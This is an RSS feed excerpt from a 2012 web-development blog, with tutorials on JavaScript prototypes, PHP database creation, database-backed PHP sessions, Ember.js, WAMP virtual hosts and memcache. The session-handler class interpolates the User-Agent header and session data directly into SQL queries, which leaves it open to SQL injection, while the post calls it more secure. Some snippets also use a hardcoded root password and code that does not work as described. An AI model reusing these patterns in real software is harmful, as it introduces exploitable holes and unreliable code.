phone.storeName=&quot;Android Marketplace&quot;;
//Calling the Phone name is as easy calling
alert phone.name //Android</code></pre><br />
Another Style using JS Template<br />
<pre class="prettyprint"><code>function Phone(name,flash,hardware,appstore)
{
    this.name=name;
    this._isFlashSupported=flash;
    this._3dEnabled=hardware;
    this.appstore=appstore;
}
var Nokia=new Phone(&quot;Symbian&quot;,true,true,&quot;OviStore&quot;);
console.log(Nokia.name); //prints Symbian</code></pre><br />
Using the JSON Format<br />
<pre class="prettyprint"><code>var Apple={
    name:&quot;IOS Apple&quot;,
    isFlashSupported:&quot;Never Will&quot;,
    _3dEnabled:true,
    appstore:&quot;AppStore&quot;
}
var apple=new Apple(); //throws an Error Apple has no Constructor

//Proper use
console.log(Apple.name); //IOS Apple</code></pre><br />
Serious Note should be taken into consideration unlike the others, the JSON is an Object while the others are function Objects meaning you cannot call Apple(); JSON Can be easily extended [Mixin]<br />
<pre class="prettyprint"><code>Apple.name=&quot;Apple OS&quot;;
console.log(Apple.name); //it overwrites the previous IOS,</code></pre></p>
<h2>Understanding Prototypes</h2>
<p>Prototype is one of the most vital and important aspect of JavaScript, prototype allows user to extends [Function Objects]. Prototype is very essential especially to developers hoping to create plugins, frameworks and reusable Objects. Without much words allow me to proof the power of prototype.<br />
<pre class="prettyprint"><code>//We will create a function to be extended to all String Objects
function countV(){
    //store Object
    var StringObj=this; 
    //Because countV is a function that will extend the String Object this will refer to the String itself if
    //Our Json Object to Hold Data this is more efficient as you can return multiple results in one Object
    var letter={vowel:0,consonant:0};
    //Our loop
    for(var i=0; i &lt; StringObj.length; i++) //Remember StringObj holds the String Object
    {
        //This will compare the characters and determine which is consonant and vowel by updating the Json Object
        if(StringObj[i] == &quot;a&quot; || StringObj[i] ==&quot;e&quot; || StringObj[i] ==&quot;i&quot; ||StringObj[i] ==&quot;o&quot; || StringObj[i] ==&quot;u&quot;)
            letter.vowel++; //increment the data by 1 if vowel found
        else
            letter.consonant++; //increment the data by 1 if consonant found
    }
    //do not use this.letter because this means String and letter is not an Object of String its an inner variable so we simple use letter
    return letter;
}
//This Injects the function into the String Object so any String Object will be able to call count
String.prototype.count=countV;
//Testing Our function
var r=new String(&quot;Welcome&quot;);
console.log(r.count()) //returns the letter Json data
console.log(r.count().vowel) //returns vowel</code></pre></p>
<h2>Grasping Closure</h2>
<p>The Closure concept is quite confusing at times and can be difficult to grasp. Closures are inner functions that use variables that resides outside of the function.<br />
<pre class="prettyprint"><code>var message=&quot;pc guru at Nairaland&quot;;
function sayMessage()
{
    function _innerClosure()
    {
        return message; //returns message to the function _innerClosure
    }
    return _innerClosure(); //returns the return value from innerClosure to sayMessage attempt removing the return here
}</code></pre><br />
with closure you can create a main function which will emulate the class, add some JSON variables and some inner functions they will act like private methods because closures only exist within the enclosed function.</p>
<h2>What About Classes and Inheritance?</h2>
<p>Yes, classes and inheritance are another vital and important feature worth knowing, however many frameworks have better ways of making classes and inheritance much more easier and saner than JavaScript’s way. Examples of such frameworks are the &#8220;Dojo Toolkit&#8221;, &#8220;Mootools&#8221; and any other framework that provides that interface, with this guidelines you will have a good foundation on some aspect of JavaScript as most will aid you to better understanding what framework to use. </p>
<p>However as at Jquery 1.4 there are no in-built methods to emulate classes and inheritance except to extend the Jquery Object itself, though such a plug-in should exist, as the jquery community strives hard to come up with plugins to strengthen the toolkit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/08/a-guide-before-learning-a-new-javascript-framework/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Creating MySQL Databases with PHP</title>
		<link>http://www.stackarena.com/2012/08/creating-mysql-databases-with-php/</link>
		<comments>http://www.stackarena.com/2012/08/creating-mysql-databases-with-php/#disqus_thread</comments>
		<pubDate>Thu, 16 Aug 2012 14:51:56 +0000</pubDate>
		<dc:creator>Ademola Ogundele</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=679</guid>
		<description><![CDATA[You can if you wish, actually create your databases with PHP rather than using MySQL client tool. This practice has potential advantages &#8211; you can use an attractive front end that may appeal to those who find the MySQL command-line &#8230; <a href="http://www.stackarena.com/2012/08/creating-mysql-databases-with-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>You can if you wish, actually create your databases with PHP rather than using MySQL client tool. This practice has potential advantages &#8211; you can use an attractive front end that may appeal to those who find the MySQL command-line client horribly plain or finicky to use-counterbalanced by one big disadvantage, which is security.</p>
<p>To create a database from PHP, the user of your scripts will need to have full<code>CREATE/DROP</code> priveleges on MySQL. That means anyone who can get hold of your scripts can potentially blow away all your databases and their contents with the greatest of ease. This is not such a great idea from a security standpoint.</p>
<p>If you are even considering creating databases with PHP, do yourself a big favour and at least don&#8217;t store the database username and password in a text file. Make yourself type your database username and password into a form and pass the variables to the inserting handler each and every time you use this script. This is one case where keeping the variables in an <code>include</code> files outside your web tree is not sufficient precaution. Better yet, run the scripts manually from the command line through SSH:<br />
<code>mysql-u &lt;username&gt; -p &lt;databasename&gt; &lt;sql-script.sql</code><br />
for those times when you need to create database programmatically, the relevant functions are: <code>mysql_create_db()</code>:create a database on the designated host, with name specified arguments<br />
<code>mysql_drop_db()</code>: Delete the specified database<br />
<code>mysql_query()</code>:passes table definitions and drops in this function</p>
<p>A bare-bones database-generation script might look like this:<br />
<pre class="prettyprint"><code>&lt;?php
    $linkID=mysql_connect(&#039;localhost&#039;,&#039;root&#039;, &#039;sesame&#039;); mysql_create_db(&#039;new_db&#039;,$linkID); 
    mysql_select_db(&#039;new_db&#039;); 
    $query=&quot;CREATE TABLE new_table 
    ( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, new_col VARCHAR(25) )&quot;; 
    $result=mysql_query($query); 
    $axe=mysql_drop_db(&#039;new_db&#039;);
?&gt;</code></pre></p>
<p>Several other GUI tools are available that are not database-specific but will probably work with MySQL. As MySQL has become more and more popular, a number of applications for both windows and Linux have come into play that allow you to administer MySQL databases in the graphical fashion you may have become accustomed to. Like their web counterparts, these applications offer full administrative control, but without the headache of exposing yourself to the security risk of web based interface .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/08/creating-mysql-databases-with-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Memcached talk at facebook</title>
		<link>http://www.stackarena.com/2012/07/memcached-talk-at-facebook/</link>
		<comments>http://www.stackarena.com/2012/07/memcached-talk-at-facebook/#disqus_thread</comments>
		<pubDate>Wed, 25 Jul 2012 16:39:19 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=671</guid>
		<description><![CDATA[Here is a talk on memcached by Mark. I wrote an article on memcached previously Improve your web application performance with Memcache talking about the importance of memcache in your web application. Hope you find this video useful and remember &#8230; <a href="http://www.stackarena.com/2012/07/memcached-talk-at-facebook/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Here is a talk on memcached by Mark. I wrote an article on memcached previously <a href="http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/" title="Tip: Improve your web application performance with Memcache">Improve your web application performance with Memcache</a> talking about the importance of memcache in your web application.</p>
<p><object width="576" height="324" ><param name="allowfullscreen" value="true" /><param name="movie" value="http://www.facebook.com/v/631826881803" /><embed src="http://www.facebook.com/v/631826881803" type="application/x-shockwave-flash" allowfullscreen="true" width="576" height="324"></embed></object></p>
<p>Hope you find this video useful and remember to read <a href="http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/" title="Tip: Improve your web application performance with Memcache">Improve your web application performance with Memcache</a> to get a basic understanding of Memcached.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/07/memcached-talk-at-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scale your website by storing PHP Sessions in Database</title>
		<link>http://www.stackarena.com/2012/07/scale-your-website-by-storing-php-sessions-in-database/</link>
		<comments>http://www.stackarena.com/2012/07/scale-your-website-by-storing-php-sessions-in-database/#disqus_thread</comments>
		<pubDate>Wed, 25 Jul 2012 00:48:26 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[scaling websites]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[sessions]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=666</guid>
		<description><![CDATA[I currently encountered an issue with PHP sessions when running multiple applications on different servers that needed to maintain the same session. While the default session storage mechanism is adequate for many developers, you might find yourself wanting to modify &#8230; <a href="http://www.stackarena.com/2012/07/scale-your-website-by-storing-php-sessions-in-database/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I currently encountered an issue with PHP sessions when running multiple applications on different servers that needed to maintain the same session.</p>
<p>While the default session storage mechanism is adequate for many developers, you might find yourself wanting to modify its behavior from time to time. One of the most common reasons for wanting to change the default behavior is that the application needs to be able to run on multiple servers without server affinity (methods that direct requests from the same client to the same server). An easy way to make sure that sessions continue to work properly is to store sessions in a central database that is common to all servers.</p>
<p>Also the application needs to be able to run on a shared host, where there are significant security concerns associated with storing session data in the filesystem, therefore storing sessions in a database will make this safer. </p>
<p>PHP makes storing sessions in a database easy while still working with your common <code>$_SESSION</code> variable in PHP across your applications.</p>
<p>Here I have a simple class you can include in all your projects to store your sessions across your applications in a database.</p>
<p>First we need to create our session table. Just run this SQL script to create your session table, provided you already have a database you want to use.</p>
<p><pre class="prettyprint"><code>CREATE TABLE IF NOT EXISTS `sessions` (
  `id` int(32) NOT NULL AUTO_INCREMENT,
  `http_user_agent` text NOT NULL,
  `hash` varchar(50) NOT NULL,
  `session_expire` int(50) NOT NULL,
  `session_data` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=0;</code></pre></p>
<p>Next is the session class <code>&quot;session.class.php&quot;</code> that we will use.</p>
<p><pre class="prettyprint"><code>class Session
{

    /**
     *  Constructor of class
     *
     *  @return void
     */
    function Session()
    {
    
        // set session lifetime
        $this-&gt;sessionLifetime = 3600; //this is 1hr
        // register the new handler
        
        session_set_save_handler(
            array(&amp;$this, &#039;open&#039;),
            array(&amp;$this, &#039;close&#039;),
            array(&amp;$this, &#039;read&#039;),
            array(&amp;$this, &#039;write&#039;),
            array(&amp;$this, &#039;destroy&#039;),
            array(&amp;$this, &#039;gc&#039;)
        );
        register_shutdown_function(&#039;session_write_close&#039;);
        
        // start the session
        session_name(&#039;mysite&#039;); // you can give your session id a name.
        session_start();
        
    }
    
    /**
     *  Regenerates the session id.
     *
     *  &lt;b&gt;Call this method whenever you do a privilege change!&lt;/b&gt;
     *
     *  @return void
     */
    function regenerate_id()
    {

        // saves the old session&#039;s id
        $oldSessionID = session_id();
        
        // regenerates the id
        // this function will create a new session, with a new id and containing the data from the old session
        // but will not delete the old session
        session_regenerate_id();
        
        // because the session_regenerate_id() function does not delete the old session,
        // we have to delete it manually
        $this-&gt;destroy($oldSessionID);
        
    }

    /**
     *  Custom open() function
     *
     *  @access private
     */
    function open($save_path, $session_name)
    {
    
        return true;
        
    }
    
    /**
     *  Custom close() function
     *
     *  @access private
     */
    function close()
    {
        $this-&gt;gc($this-&gt;sessionLifetime); //do garbage collection
        return true;
    }
    
    /**
     *  Custom read() function
     *
     *  @access private
     */
    function read($session_id)
    {

        // reads session data associated with the session id
        // but only if the HTTP_USER_AGENT is the same as the one who had previously written to this session
        // and if session has not expired
        $result = @mysql_query(&quot;
            SELECT
                session_data
            FROM
                sessions
            WHERE
                hash = &#039;&quot;.$session_id.&quot;&#039; AND
                http_user_agent = &#039;&quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;&#039; AND
                session_expire &gt; &#039;&quot;.time().&quot;&#039;
        &quot;);
        
        // if anything was found
        if (is_resource($result) &amp;&amp; mysql_num_rows($result) &gt; 0) {

            // return found data
            $fields = mysql_fetch_assoc($result);
            // don&#039;t bother with the unserialization - PHP handles this automatically
            return $fields[&quot;session_data&quot;];
            
        }
        
        // if there was an error return an epmty string - this HAS to be an empty string
        return &quot;&quot;;
        
    }
    
    /**
     *  Custom write() function
     *
     *  @access private
     */
    function write($session_id, $session_data)
    {
    
        // first checks if there is a session with this id
        $result = @mysql_query(&quot;
            SELECT
                *
            FROM
                sessions
            WHERE
                hash = &#039;&quot;.$session_id.&quot;&#039;
        &quot;);
        
        // if there is
        if (mysql_num_rows($result) &gt; 0) {

            // update the existing session&#039;s data
            // and set new expiry time
            $result = @mysql_query(&quot;
                UPDATE
                    sessions
                SET
                    session_data = &#039;&quot;.$session_data.&quot;&#039;,
                    session_expire = &#039;&quot;.(time() + $this-&gt;sessionLifetime).&quot;&#039;
                WHERE
                    hash = &#039;&quot;.$session_id.&quot;&#039;
            &quot;);
            
            // if anything happened
            if (mysql_affected_rows()) {
            
                // return true
                return true;
                
            }

        // if this session id is not in the database
        } else {

            // insert a new record
            $result = @mysql_query(&quot;
                INSERT INTO
                    sessions
                        (
                            hash,
                            http_user_agent,
                            session_data,
                            session_expire
                        )
                    VALUES
                        (
                            &#039;&quot;.$session_id.&quot;&#039;,
                            &#039;&quot;.$_SERVER[&quot;HTTP_USER_AGENT&quot;].&quot;&#039;,
                            &#039;&quot;.$session_data.&quot;&#039;,
                            &#039;&quot;.(time() + $this-&gt;sessionLifetime).&quot;&#039;
                        )
            &quot;);
            
            // if anything happened
            if (mysql_affected_rows()) {
            
                // return an empty string
                return &quot;&quot;;
                
            }
            
        }
        
        // if something went wrong, return false
        return false;
        
    }
    
    /**
     *  Custom destroy() function
     *
     *  @access private
     */
    function destroy($session_id)
    {

        // deletes the current session id from the database
        $result = @mysql_query(&quot;
            DELETE FROM
                sessions
            WHERE
                hash = &#039;&quot;.$session_id.&quot;&#039;
        &quot;);
        
        // if anything happened
        if (mysql_affected_rows()) {
        
            // return true
            return true;
            
        }

        // if something went wrong, return false
        return false;
        
    }
    
    /**
     *  Custom gc() function (garbage collector)
     *
     *  @access private
     */
    function gc($maxlifetime)
    {
    
        // it deletes expired sessions from database
        $result = mysql_query(&quot;
            DELETE FROM
                sessions
            WHERE
                session_expire &lt; &#039;&quot;.(time() - $maxlifetime).&quot;&#039;
        &quot;);
        
    }
    
}</code></pre></p>
<p>Here is how we include this class in all our websites. This should most likely reside in a general class included in all the sites script.</p>
<p><pre class="prettyprint"><code>include( &quot;session.class.php&quot; );
$session = new Session();</code></pre></p>
<h4>Conclusion</h4>
<p>It is a relatively straightforward process to switch the recording of session data from files to a database. Here the session data is more secure as a potential hacker must be able to log into the database before he can access anything, the use of multiple servers would not create a problem as all session data now resides in a single central place and is accessible by all servers.</p>
<p>It is also easier to query the database if you require information about current sessions or current users.</p>
<p>Hope you now know why its a good practice to store your sessions in a database. Please comment below to give suggestions and if you have any issues implementing this code.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/07/scale-your-website-by-storing-php-sessions-in-database/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Getting Started With EmberJS</title>
		<link>http://www.stackarena.com/2012/07/getting-started-with-emberjs/</link>
		<comments>http://www.stackarena.com/2012/07/getting-started-with-emberjs/#disqus_thread</comments>
		<pubDate>Wed, 04 Jul 2012 01:12:16 +0000</pubDate>
		<dc:creator>Adeniyi Adekoya</dc:creator>
				<category><![CDATA[Jquery]]></category>
		<category><![CDATA[Libraries and Frameworks]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[ember.js]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[SproutCore]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=637</guid>
		<description><![CDATA[What is Ember.js? Hey! This article references a pre-release version of Ember.js. Now that Ember.js has reached a 1.0 API the code samples below are no longer correct and the expressed opinions may no longer be accurate. In the past &#8230; <a href="http://www.stackarena.com/2012/07/getting-started-with-emberjs/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h2>What is Ember.js?</h2>
<div style="display:block; background-color:#fff">
  <img src='http://emberjs.com/images/community/outdated.png' style="float:left;">
<p style="margin-left:115px; font-color:#1e1e1e;">
    <em>Hey!</em> This article references a pre-release version of Ember.js. Now that Ember.js has reached a 1.0 API the code samples below are no longer correct and the expressed opinions <em>may</em> no longer be accurate.
  </p>
</div>
<p>In the past few years, web development has gradually evolved from having your server-side web framework render your views and template. Modern web apps now put the bulk of the logic on the client side to enhance performance and user experience. This, if you&#8217;re not careful or experienced enough, can greatly slow down things and defeat the whole purpose of the shift. A number of JavaScript MVC frameworks like Backbone, Knockout, and Ember have sprung up to fill the void between beginner and intermediate developers, and hardcode programmers as well as increase efficiency.</p>
<p><a href="http://emberjs.com" target="_blank"><strong>Ember.js</strong></a> is a JavaScript framework for creating ambitious web applications that eliminates boilerplate and provides a standard application architecture. Ember is relatively new (though it started as a library called SproutCore, developed by Apple as the &#8220;core&#8221; of it&#8217;s online applications like Mobile Me) and therefore still has a small but fast growing community.</p>
<h2>What you should know</h2>
<p>Ember.js is not an outright substitute for jQuery but is built on the jQuery library. In other words, the jQuery library is required for Ember powered applications. Hence jQuery developers will have little or no problem following this framework. I myself am pretty new at this. Came across Ember while I was researching javascript frameworks and I find it has some pretty amazing features like data binding and eliminating boilerplates.</p>
<p>Oh! before you go further its best you have an understanding of web technologies such as html, javascript and the jQuery library.</p>
<h2>Let&#8217;s get started</h2>
<p>First download the <a href="https://github.com/downloads/emberjs/starter-kit/starter-kit.0.9.8.1.zip"><strong>Ember.js starter kit</strong></a>. Unzip it and put it in a directory that&#8217;s web accessible. Open the <code>index.html</code> and <code>js/app.js</code> in a text editor. In <code>js/app.js</code> you should find the code below:<br />
<pre class="prettyprint"><code>var App = Em.Application.create();

App.MyView = Em.View.extend({
  mouseDown: function() {
    window.alert(&quot;hello world!&quot;);
  }
});</code></pre><br />
The first line creates an application <tt>App</tt>. Suppose we wanted to create our own application, add the following line of code to <tt>app.js</tt><br />
<code>StackArena = Ember.Application.create();</code><br />
This creates the application StackArena which can be referenced like <tt>App</tt> above. Now let us do something with our application. JQuery developers are familiar with the <code>document.ready</code> function when you want to perform an action immediately the page loads. Here&#8217;s the Ember version:<br />
<pre class="prettyprint"><code>StackArena = Ember.Application.create({
  ready: function(){
    alert(&#039;Welcome to Ember.js!&#039;);
  }
});</code></pre><br />
On page reload now you get the alert &#8220;Welcome to Ember.js&#8221;. Next we create a model. I prefer to call it Object for now.<br />
<pre class="prettyprint"><code>StackArena.Tutorial = Ember.Object.extend({
  title: null,
  author: null
});</code></pre><br />
So we have created an object with the propeties <tt>title</tt> and <tt>author</tt>. Now we create a controller. Here is a simple Ember controller:</p>
<p><code>StackArena.TutorialController = Ember.ArrayController.create();</code></p>
<p>This is an implicit declaration of the <tt>ArrayController</tt>. It contains a content array where the data will be stored. An explicit declaration is as follows:<br />
<pre class="prettyprint"><code>StackArena.TutorialController = Ember.ArrayController.create({
  content: []
});</code></pre><br />
All that&#8217;s left is to create the view to render the information we want to display. Ember.js comes bundled with the <a href="http://handlebarsjs.com"><strong>Handlebars.js</strong></a> templating language which makes view rendering easier. Add the following code in the body of your <tt>index.html</tt><br />
<pre class="prettyprint"><code>&lt;script type=&quot;text/x-handlebars&quot;&gt;
    {{#view Ember.Button target=&quot;StackArena.TutorialController&quot; action=&quot;loadTutorials&quot;}}
    Load Tutorials
    {{/view}}
    
    {{#collection contentBinding=&quot;StackArena.TutorialController&quot; tagName=&quot;ul&quot;}}
    &lt;b&gt;{{content.title}}&lt;/b&gt; - {{content.author}}
    {{/collection}}
&lt;/script&gt;</code></pre><br />
Variables are wrapped in double curly brackets. The # and / symbols tell Handlebars that this particular View has a closing part. The collection part is what receives the array collecction from controller. Notice that we have declared a <code>tagName=&quot;ul&quot;</code>, Ember completes the opening and closing tag.</p>
<p>Time to add some data:<br />
<pre class="prettyprint"><code>StackArena.TutorialController = Ember.ArrayController.create({
  content: [],
  loadTutorials: function(){
    var self = this;
    $.getJSON(&#039;data/Tutorials.json&#039;, function(data) {
      data.forEach(function(item){
        self.pushObject(StackArena.Tutorial.create(item));
      });
    });
  }
});</code></pre></p>
<p>The data will be provided in JSON format. Reload the page click the Load Tutorials button and see how the action performs. Download the complete project from the resources below. That&#8217;s it for our simple example on Ember.js.</p>
<p>If this article was interesting, or helpful, or even wrong in anyway, please consider leaving a comment. Thanks!  </p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2012/07/ember-starter-kit.zip" title="ember-starter-kit" id="attachment-wrapper">ember-starter-kit</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/07/getting-started-with-emberjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating Virtual hosts on WAMP server</title>
		<link>http://www.stackarena.com/2012/07/creating-virtual-hosts-on-wamp-server/</link>
		<comments>http://www.stackarena.com/2012/07/creating-virtual-hosts-on-wamp-server/#disqus_thread</comments>
		<pubDate>Mon, 02 Jul 2012 21:35:28 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[localhost]]></category>
		<category><![CDATA[virtual host]]></category>
		<category><![CDATA[wamp]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=633</guid>
		<description><![CDATA[Hello, here is a quick tip on how to create virtual host on WAMP server for a Windows machine. You might be running a web script in a sub folder that points to the root document $_SERVER[&#039;DOCUMENT_ROOT&#039;]; but all you &#8230; <a href="http://www.stackarena.com/2012/07/creating-virtual-hosts-on-wamp-server/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hello, here is a quick tip on how to create virtual host on WAMP server for a Windows machine. You might be running a web script in a sub folder that points to the root document <code>$_SERVER[&#039;DOCUMENT_ROOT&#039;];</code> but all you get is your WAMP server homepage; you can change the <code>DOCUMENT_ROOT</code> variable to point to the folder your website was installed in by creating virtual hosts.</p>
<p>Lets assume we want to create a virtual host for our website &#8220;stackarena&#8221; located at <code>C:\wamp\www\stackarena\</code> so that we can access it from our browser using <code>http://stackarena.localhost/</code>. Here is how we can do that.</p>
<p>First we navigate to <code>&quot;C:\windows\system32\drivers\etc&quot;</code>. Once there, you should see a file titled &#8220;hosts&#8221;.  Open that file with a text editor like notepad.  You may have to change the open dialog to &#8220;all files&#8221; in order to see it.  You should see a line that looks like this:<br />
<code>127.0.0.1        localhost</code><br />
add<br />
<code>127.0.0.1        stackarena.localhost</code> bellow that line.</p>
<p>You can add as many entries as you like and your browser should display your WAMP Server site for all of them.  Save your hosts file and try visiting http://stackarena.localhost&#8221; in your browser.  You should see your WAMP site index page.</p>
<p>Now lets configure our virtual hosts.</p>
<p>WAMP configures Apache to serve a single site that usually lives in &#8220;C:\wamp\www&#8221;.  Apache can handle multiple sites if we tell it where to look.  To open your WAMP Server Apache configuration, left-click the WAMP Server icon and select &#8220;Apache &#8211; httpd.conf&#8221;.</p>
<p>Look for a line that has:<br />
<code>#Include conf/extra/httpd-vhosts.conf</code><br />
now remove the # sign from that line and save the file. This will enable Virtual hosts for WAMP.</p>
<p>Next, navigate to <code>C:\wamp\bin\apache\apache2.2.11\conf\extra</code> and open the file &#8220;httpd-vhosts.conf&#8221;. Scroll all the way to the bottom of this file and remove all dummy virtual host entries and add the code bellow.</p>
<p><pre class="prettyprint"><code>&lt;VirtualHost *:80&gt;
  DocumentRoot C:/wamp/www/stackarena/
  ServerName stackarena.localhost
&lt;/VirtualHost&gt;</code></pre></p>
<p>You should now have something like this:<br />
<pre class="prettyprint"><code>#
# Virtual Hosts
#
# If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn&#039;t need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at 
# &lt;URL:http://httpd.apache.org/docs/2.2/vhosts/&gt;
# for further details before you try to setup virtual hosts.
#
# You may use the command line option &#039;-S&#039; to verify your virtual host
# configuration.

#
# Use name-based virtual hosting.
#
NameVirtualHost *:80

&lt;VirtualHost *:80&gt;
  DocumentRoot C:/wamp/www/
  ServerName localhost
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
  DocumentRoot C:/wamp/www/stackarena/
  ServerName stackarena.localhost
&lt;/VirtualHost&gt;</code></pre></p>
<p>The first of these directives is needed to preserve the dashboard i.e the WAMP server homepage. The second directive is the virtual host, for which we have the directory &#8220;C:/wamp/www/stackarena/&#8221;.</p>
<p>In order to create additional virtual hosts, we&#8217;ll just repeat the steps again for a new website.</p>
<p>Finally, restart Apache and verify that you can access the website through the virtual host name. After restarting Apache using WAMP Server you should be able to access http://stackarena.localhost/ using your web browser.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/07/creating-virtual-hosts-on-wamp-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tip: Improve your web application performance with Memcache</title>
		<link>http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/</link>
		<comments>http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/#disqus_thread</comments>
		<pubDate>Mon, 18 Jun 2012 22:25:50 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[caching]]></category>
		<category><![CDATA[memcache]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=625</guid>
		<description><![CDATA[Memcache is great for storing slow queries that return small data sets or a lot, it is a high-performance, distributed memory object caching system, primarily intended for fast access to cached results of data store queries. Basically, memcache allows you &#8230; <a href="http://www.stackarena.com/2012/06/tip-improve-your-web-application-performance-with-memcache/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Memcache is great for storing slow queries that return small data sets or a lot, it is a high-performance, distributed memory object caching system, primarily intended for fast access to cached results of data store queries.</p>
<p>Basically, memcache allows you to store any form of data in a ‘temporary cache’ so whenever you perform a database query, instead of just connecting to the database and getting the data, you check memcache to see if the data is already stored in the cache. If you do not get any data, you can then go to the database and execute the query.</p>
<p>Before using memcache, make sure you check the time your normal query executes and compare it with a cached version. Sometimes, memcache may be a bit slower running high yield queries especially if the database is already caching items.</p>
<p>Once you have memcache installed on your server, you can start caching stuffs! You can download memcache here <a href="http://memcached.org/" target="_blank">http://memcached.org/</a></p>
<p>Here are some of the functions you might use in memcache</p>
<p><tt>get()</tt> : gets the value for a key<br />
<tt>set()</tt> : sets a key with a given value<br />
<tt>add()</tt> : adds to the cache, only if it doesn&#8217;t exist<br />
<tt>replace()</tt> : sets in the cache only if the key already exists<br />
<tt>flush()</tt> : removes all keys and cached data</p>
<p>Lets look at a simple example</p>
<p><pre class="prettyprint"><code>// new Memcache instance
$memch = new Memcache;
// connecting to our server on port 11211
$memch-&gt;connect(&#039;127.0.0.1&#039;, 11211) or die (&quot;Could not connect&quot;);
//now we will create a key to save our data
$agekey = &quot;UserAge&quot;;
// the data contained in the $agekey variable
$agedata = &quot;24&quot;;
$memch-&gt;set($agekey, $agedata, true, 200); // Store the result of the query for 200 seconds
// This will get the data back from memcache
$result = $memch-&gt;get($agekey);
echo $result; //this will return 24</code></pre></p>
<p>The code above shows a simple implementation of memcache and how to store and receive data from memcache. Now let&#8217;s do a real life example with SQL queries.</p>
<p>Let&#8217;s say we have a query to retrieve data from the database, how do we implement memcache on that? In the code below, I&#8217;ll explain how to use memcache to retrieve results and what to do when the result is not cached.</p>
<p><pre class="prettyprint"><code>//Lets assume we have this sql query that retrieves the ages of 20 people we want to execute
$sql = &quot;SELECT * FROM Members WHERE age &gt; 16 LIMIT 20&quot;;
// we will create the hash key for that query
  $agekey = md5($sql);

// next we connect to memcache server
  $memch = new Memcache;
  $memch-&gt;connect(&#039;127.0.0.1&#039;, 11211) or die (&quot;Could not connect&quot;);

//we need to findout if we already have the ages cached
  $result = $memch-&gt;get($agekey);
 
// If we find the ages in memcache, return the cache result
  if(!empty($result)) return $result;

// if we cant find the cached result, we connect to the db 
  mysql_connect(&quot;localhost&quot;, &quot;username&quot;, &quot;password&quot;) or die(mysql_error());
  mysql_select_db(&quot;agedb&quot;) or die(mysql_error());

// Run the SQL query on the db
  $result = mysql_query($sql) or die(mysql_error()); 

// Next we save the result to memcache so that we can find it next time
  $memch-&gt;set($agekey, $result, true, 200); 

//remember I&#039;m storing it in memcache for 200 seconds or I use 
//$memch-&gt;set($agekey, $result, false, 0); to store it for a very long time
//then we return the result
  return mysql_fetch_array( $result );</code></pre></p>
